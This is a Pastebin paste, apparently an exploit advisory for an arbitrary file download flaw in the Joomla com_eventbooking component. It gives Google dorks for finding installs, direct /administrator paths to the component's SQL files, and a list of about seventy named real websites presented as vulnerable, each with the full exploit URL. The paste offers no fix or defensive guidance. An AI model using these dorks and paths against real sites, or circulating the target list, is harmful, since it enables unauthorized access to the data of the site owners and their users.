API tools faq
paste
KingSkrupellos

Joomla com_eventbooking Database Backup Download

KingSkrupellos
Nov 26th, 2018
88
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.13 KB | None | 0 0
raw download clone embed print report
  1. #################################################################################################
  2.  
  3. # Exploit Title : Joomla com_eventbooking Components Database Backup Arbitrary File Download Vulnerability
  4. # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
  5. # Date : 27/11/2018
  6. # Vendor Homepage : extensions.joomla.org/extension/event-booking/
  7. + joomdonation.com/joomla-extensions/events-booking-joomla-events-registration
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Software Download Link :
  11. + github.com/Jasonudoo/platform/tree/master/components/com_eventbooking
  12. # Software Price : $40
  13. # Version Information : All Previous Versions and 3.8.3
  14. # Exploit Risk : High
  15. # Google Dork :
  16. inurl:''/index.php?option=com_eventbooking''
  17. EB_INVALID_EVENT
  18. inurl:/index.php?option=com_eventbooking&Itemid=''
  19. # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ]
  20. CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
  21. CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
  22.  
  23. #################################################################################################
  24.  
  25. # Admin Panel Login Path :
  26.  
  27. /administrator/
  28.  
  29. # Exploit :
  30.  
  31. /administrator/components/com_eventbooking/sql/config.eventbooking.sql
  32.  
  33. /administrator/components/com_eventbooking/sql/createifnotexists.eventbooking.sql
  34.  
  35. /administrator/components/com_eventbooking/sql/deposit.eventbooking.sql
  36.  
  37. /administrator/components/com_eventbooking/sql/fields.eventbooking.sql
  38.  
  39. /administrator/components/com_eventbooking/sql/install.eventbooking.sql
  40.  
  41. /administrator/components/com_eventbooking/sql/invoices.eventbooking.sql
  42.  
  43. /administrator/components/com_eventbooking/sql/menus.eventbooking.sql
  44.  
  45. /administrator/components/com_eventbooking/sql/messages.eventbooking.sql
  46.  
  47. /administrator/components/com_eventbooking/sql/plugins.eventbooking.sql
  48.  
  49. /administrator/components/com_eventbooking/sql/themes.eventbooking.sql
  50.  
  51. /administrator/components/com_eventbooking/sql/uninstall.eventbooking.sql
  52.  
  53. #################################################################################################
  54.  
  55. # Example Vulnerable Sites =>
  56.  
  57. [+] forum-ruecken.de/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  58.  
  59. [+] flugschule-mergenthaler.de/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  60.  
  61. [+] hotelburgschmiet.de/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  62.  
  63. [+] albaauxilia.eu/home/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  64.  
  65. [+] chicagojewelryschool.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  66.  
  67. [+] conservationleague.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  68.  
  69. [+] geobid.pl/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  70.  
  71. [+] xtraordinarywomen.co.za/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  72.  
  73. [+] ctconline.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  74.  
  75. [+] adhasa.co.za/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  76.  
  77. [+] fif.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  78.  
  79. [+] visite.inventerrome.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  80.  
  81. [+] dakrez.cz/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  82.  
  83. [+] stmarysioc.org.au/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  84.  
  85. [+] dwarkamai.com/vidyapeeth/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  86.  
  87. [+] triathlonmalaysia.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  88.  
  89. [+] specialeventcoordinator.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  90.  
  91. [+] etkinlik.tusiad.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  92.  
  93. [+] ruslandacademie.nl/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  94.  
  95. [+] helian.hu/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  96.  
  97. [+] ifr-rosenheim.de/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  98.  
  99. [+] plusx.it/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  100.  
  101. [+] idese.es/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  102.  
  103. [+] city2city.entriesonline.co.za/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  104.  
  105. [+] alleventsafrica.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  106.  
  107. [+] powellriver.info/calendar/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  108.  
  109. [+] sapsp.pl/kursy/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  110.  
  111. [+] pccca.net/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  112.  
  113. [+] kkn.cz/gdpr/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  114.  
  115. [+] rightevents.co.uk/OnlineRegistration/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  116.  
  117. [+] wepridefest.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  118.  
  119. [+] townofgretna.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  120.  
  121. [+] amclub.org.sg/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  122.  
  123. [+] unitedwayplains.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  124.  
  125. [+] ecwexford.ie/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  126.  
  127. [+] missoulaeduplace.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  128.  
  129. [+] mosquefoundation.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  130.  
  131. [+] arkansasaerospace.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  132.  
  133. [+] nedsra.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  134.  
  135. [+] t2b.ca/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  136.  
  137. [+] eckildare.ie/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  138.  
  139. [+] pathsinc.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  140.  
  141. [+] meriwethersnw.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  142.  
  143. [+] runningreece.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  144.  
  145. [+] theseasonedfarmhouse.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  146.  
  147. [+] wolds-gliding.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  148.  
  149. [+] caraniche.com.au/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  150.  
  151. [+] ftp.crosier.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  152.  
  153. [+] akshaystudy.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  154.  
  155. [+] mnlcp.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  156.  
  157. [+] anthracitegolf.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  158.  
  159. [+] africanpro.co.za/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  160.  
  161. [+] satoa.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  162.  
  163. [+] segway.lu/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  164.  
  165. [+] salsacasino.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  166.  
  167. [+] buffspine.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  168.  
  169. [+] amanieacademy.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  170.  
  171. [+] centrestpierre.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  172.  
  173. [+] dutchuniversitycollege.nl/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  174.  
  175. [+] yorkshirelawsociety.org.uk/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  176.  
  177. [+] medwaysafety.co.uk/courses/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  178.  
  179. [+] kundalini-yoga.us/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  180.  
  181. [+] mb.electricity.lu/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  182.  
  183. [+] sandiegobritishcarday.org/portal/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  184.  
  185. [+] islandpferde-auensee.de/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  186.  
  187. [+] f-keys.co.uk/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  188.  
  189. [+] minnesotaselassie.org/5k/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  190.  
  191. [+] rcanevents.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  192.  
  193. [+] alsace-qualite.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  194.  
  195. [+] duceducationalcentre.nl/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  196.  
  197. [+] pazparalamujer.org/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  198.  
  199. [+] artistrytalent.com/administrator/components/com_eventbooking/sql/config.eventbooking.sql
  200.  
  201. #################################################################################################
  202.  
  203. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  204.  
  205. #################################################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!